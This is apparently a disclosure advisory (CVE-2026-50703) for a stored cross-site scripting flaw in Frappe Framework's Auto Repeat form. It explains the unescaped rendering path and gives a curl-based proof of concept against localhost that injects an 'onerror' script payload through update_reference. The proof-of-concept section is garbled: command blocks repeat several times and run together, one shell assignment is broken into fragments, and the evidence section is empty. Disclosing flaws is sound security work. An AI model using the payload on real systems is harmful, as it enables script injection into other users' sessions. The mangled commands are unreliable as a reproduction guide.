Description
A Stored Cross-Site Scripting (XSS) vulnerability exists in Frappe Framework version 17.0.0-dev. An authenticated attacker with write access to Auto Repeat can persist HTML/JavaScript in reference_document using a whitelisted write path and trigger script execution when users open the affected Auto Repeat form.
The client renders schedule rows into dashboard HTML via template interpolation and appends them into the DOM without escaping.
Vulnerability
The exploitable path is:
Source: attacker-controlled reference sent to whitelisted update_reference(docname, reference).
Persistence: update_reference writes directly with doc.db_set("reference_document", str(reference)).
Server response: get_auto_repeat_schedule() returns reference_document inside schedule_details.
Client template rendering:
frappe.render_template("auto_repeat_schedule", { schedule_details: r.message })
template includes {{ schedule_details[i].reference_document }}
DOM sink:
frm.dashboard.add_section(body_html, ...)
Section.make() appends HTML via this.body.append(this.df.body_html).
Impact: attacker payload executes in victim browser when opening/reloading the target Auto Repeat form.
Relevant code:
frappe/frappe/automation/doctype/auto_repeat/auto_repeat.py:609-613
frappe/frappe/automation/doctype/auto_repeat/auto_repeat.py:199-226
frappe/frappe/automation/doctype/auto_repeat/auto_repeat.js:112-121
frappe/frappe/automation/doctype/auto_repeat/auto_repeat_schedule.html:11-16
frappe/frappe/public/js/frappe/form/dashboard.js:91-101
frappe/frappe/public/js/frappe/form/section.js:58-60
frappe/frappe/public/js/frappe/microtemplate.js:67-84
PoC
Reproduction used in validation environment
Login and keep session cookie:
curl -s -c /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/login \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'usr=Administrator&pwd=admin'
curl -s -c /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/login \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'usr=Administrator&pwd=admin'
curl -s -c /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/login \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'usr=Administrator&pwd=admin'
curl -s -c /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/login \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'usr=Administrator&pwd=admin'
Ensure ToDo is allowed for auto repeat and contains auto_repeat link field (lab setup step):
curl -s -b /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/frappe.client.insert \
--data-urlencode 'doc={"doctype":"Property Setter","doctype_or_field":"DocType","doc_type":"ToDo","property":"allow_auto_repeat","property_type":"Check","value":"1"}'
curl -s -b /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/frappe.client.insert \
--data-urlencode 'doc={"doctype":"Custom Field","dt":"ToDo","fieldname":"auto_repeat","label":"Auto Repeat","fieldtype":"Link","options":"Auto Repeat","read_only":1}'curl -s -b /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/frappe.client.insert \
--data-urlencode 'doc={"doctype":"Property Setter","doctype_or_field":"DocType","doc_type":"ToDo","property":"allow_auto_repeat","property_type":"Check","value":"1"}'
curl -s -b /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/frappe.client.insert \
--data-urlencode 'doc={"doctype":"Custom Field","dt":"ToDo","fieldname":"auto_repeat","label":"Auto Repeat","fieldtype":"Link","options":"Auto Repeat","read_only":1}'curl -s -b /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/frappe.client.insert \
--data-urlencode 'doc={"doctype":"Property Setter","doctype_or_field":"DocType","doc_type":"ToDo","property":"allow_auto_repeat","property_type":"Check","value":"1"}'
curl -s -b /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/frappe.client.insert \
--data-urlencode 'doc={"doctype":"Custom Field","dt":"ToDo","fieldname":"auto_repeat","label":"Auto Repeat","fieldtype":"Link","options":"Auto Repeat","read_only":1}'curl -s -b /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/frappe.client.insert \
--data-urlencode 'doc={"doctype":"Property Setter","doctype_or_field":"DocType","doc_type":"ToDo","property":"allow_auto_repeat","property_type":"Check","value":"1"}'
curl -s -b /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/frappe.client.insert \
--data-urlencode 'doc={"doctype":"Custom Field","dt":"ToDo","fieldname":"auto_repeat","label":"Auto Repeat","fieldtype":"Link","options":"Auto Repeat","read_only":1}'Create a valid Auto Repeat linked to an existing ToDo:
TODO_NAME=
'doctype=ToDo'
'fields=["name"]'
'limit_page_length=1''.message[0].name'
curl -s -b /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/frappe.automation.doctype.auto_repeat.auto_repeat.make_auto_repeat \
--data-urlencode "doctype=ToDo" \
--data-urlencode "docname=${TODO_NAME}" \
--data-urlencode 'frequency=Daily'TODO_NAME=
'doctype=ToDo'
'fields=["name"]'
'limit_page_length=1''.message[0].name'
curl -s -b /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/frappe.automation.doctype.auto_repeat.auto_repeat.make_auto_repeat \
--data-urlencode "doctype=ToDo" \
--data-urlencode "docname=${TODO_NAME}" \
--data-urlencode 'frequency=Daily'TODO_NAME=
'doctype=ToDo'
'fields=["name"]'
'limit_page_length=1''.message[0].name'
curl -s -b /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/frappe.automation.doctype.auto_repeat.auto_repeat.make_auto_repeat \
--data-urlencode "doctype=ToDo" \
--data-urlencode "docname=${TODO_NAME}" \
--data-urlencode 'frequency=Daily'TODO_NAME=
'doctype=ToDo'
'fields=["name"]'
'limit_page_length=1''.message[0].name'
curl -s -b /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/frappe.automation.doctype.auto_repeat.auto_repeat.make_auto_repeat \
--data-urlencode "doctype=ToDo" \
--data-urlencode "docname=${TODO_NAME}" \
--data-urlencode 'frequency=Daily'Inject payload through whitelisted update_reference:
curl -s -b /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/frappe.automation.doctype.auto_repeat.auto_repeat.update_reference \
--data-urlencode 'docname=AUT-AR-00001' \
--data-urlencode 'reference=<img src=x onerror=alert(9991)>'
curl -s -b /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/frappe.automation.doctype.auto_repeat.auto_repeat.update_reference \
--data-urlencode 'docname=AUT-AR-00001' \
--data-urlencode 'reference=<img src=x onerror=alert(9991)>'
curl -s -b /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/frappe.automation.doctype.auto_repeat.auto_repeat.update_reference \
--data-urlencode 'docname=AUT-AR-00001' \
--data-urlencode 'reference=<img src=x onerror=alert(9991)>'
curl -s -b /tmp/frappe.cookies -X POST \
http://localhost:18080/api/method/frappe.automation.doctype.auto_repeat.auto_repeat.update_reference \
--data-urlencode 'docname=AUT-AR-00001' \
--data-urlencode 'reference=<img src=x onerror=alert(9991)>'
Open target form:
http://localhost:18080/desk/auto-repeat/AUT-AR-00001
Expected result:
Browser executes alert(9991) when dashboard schedule section is rendered.
Evidence of Exploitation
Static evidence:

Our security policy
We have reserved the ID CVE-2026-50703 to refer to this issue from now on.
System Information
Frappe Framework
Version 17.0.0-dev
Operating System: Any
References
Mitigation
There is currently no patch available for this vulnerability.
Credits
The vulnerability was discovered by Oscar Uribe from Fluid Attacks' Offensive Team using the AI SAST Scanner.